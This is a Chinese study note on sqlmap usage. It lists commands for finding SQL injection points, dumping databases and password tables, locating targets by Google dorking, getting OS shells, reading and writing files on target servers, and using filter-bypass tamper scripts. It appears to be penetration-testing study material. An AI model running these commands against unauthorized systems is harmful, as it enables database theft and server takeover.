【笔记】SQLMap学习笔记

前言

sqlmap è un software open source per il penetration testing, che permette di automatizzare il rilevamento e lo sfruttamento di difetti nelle SQL injection e prendere così il controllo dei server DBMS.[1] Il software lavora a linea di comando.(维基百科

注入点检测

<url>:包含注入点测试的URL
--batch:将交互式语句均回答是
--random-agent:随机UA
--proxy="http://<ip>:<port>":配置代理

GET请求注入点检测

1
sqlmap -u <url>

POST请求注入点检测

通过命令行参数

  • 这种方式会自动将所有参数进行注入点检测
1
sqlmap -u <url> --data "password=admin"
  • 可以使用*作为注入点测试位置的标识符
1
sqlmap -u <url> --data "password=admin*"

通过指定文件

  • 将POST请求复制在文件中,使用*作为注入点测试位置的标识符
request
1
2
3
4
POST http://127.0.0.1:80/api/item
Content-Type: application/json

{"password": "admin*"}
  • 从文件中读取HTTP请求

<file>:POST请求文件

1
sqlmap -r <file>

获取当前数据库名

--purge:清除缓存

1
sqlmap -u <url> --current-db

获取所有数据库名

1
sqlmap -u <url> --dbs

获取所有数据表名

-D <database_name>:指定数据库名

1
sqlmap -u <url> --tables -D <database_name>

获取所有字段名

-T <table_name>:指定数据表名

1
sqlmap -u <url> --columns -D <database_name> -T <table_name>

获取数据

获取所有字段的数据

1
sqlmap -u <url> --dump -D <database_name> -T <table_name>

获取指定字段的数据

1
sqlmap -u <url> --dump -D <database_name> -T <table_name> -C <field_1>,<field_2>

获取用户密码

1
sqlmap -u <url> --dump -C "password" -T user -D mysql
  • 得到的密码需要解密

利用google自动搜索注入点

1
sqlmap -g "php?id="

携带cookie

<cookie>:cookie信息

1
sqlmap -u <url> --cookie="<cookie>"

判断是否有文件读写权限

判断是否是数据库管理员

1
sqlmap -u <url> --is-dba

获取权限

1
sqlmap -u <url> --privileges

获取Shell

执行一条Shell命令

<shell>:Shell命令

1
sqlmap -u <url> --os-cmd=<shell>

交互式Shell

1
sqlmap -u <url> --os-shell

文件读写

读文件

<file>:被读取的目标站点文件的路径

1
sqlmap -u <url> --file-read "<file>"

写文件

<file>:被写入的本地文件的路径
<file_target>:写入到目标站点的文件存储路径

1
sqlmap -u <url> --file-write "<file>" --file-dest "<file_target>"

使用脚本注入

  • 所有脚本传参时都可以省略.py
  • tamper目录下可以添加自定义脚本

编码为Base64

1
sqlmap -u <url> --tamper=base64encode.py

宽子节注入

1
sqlmap -u <url> --tamper=unmagicquotes.py

完成

参考文献

哔哩哔哩——千锋网络安
哔哩哔哩——逆风微笑的代码狗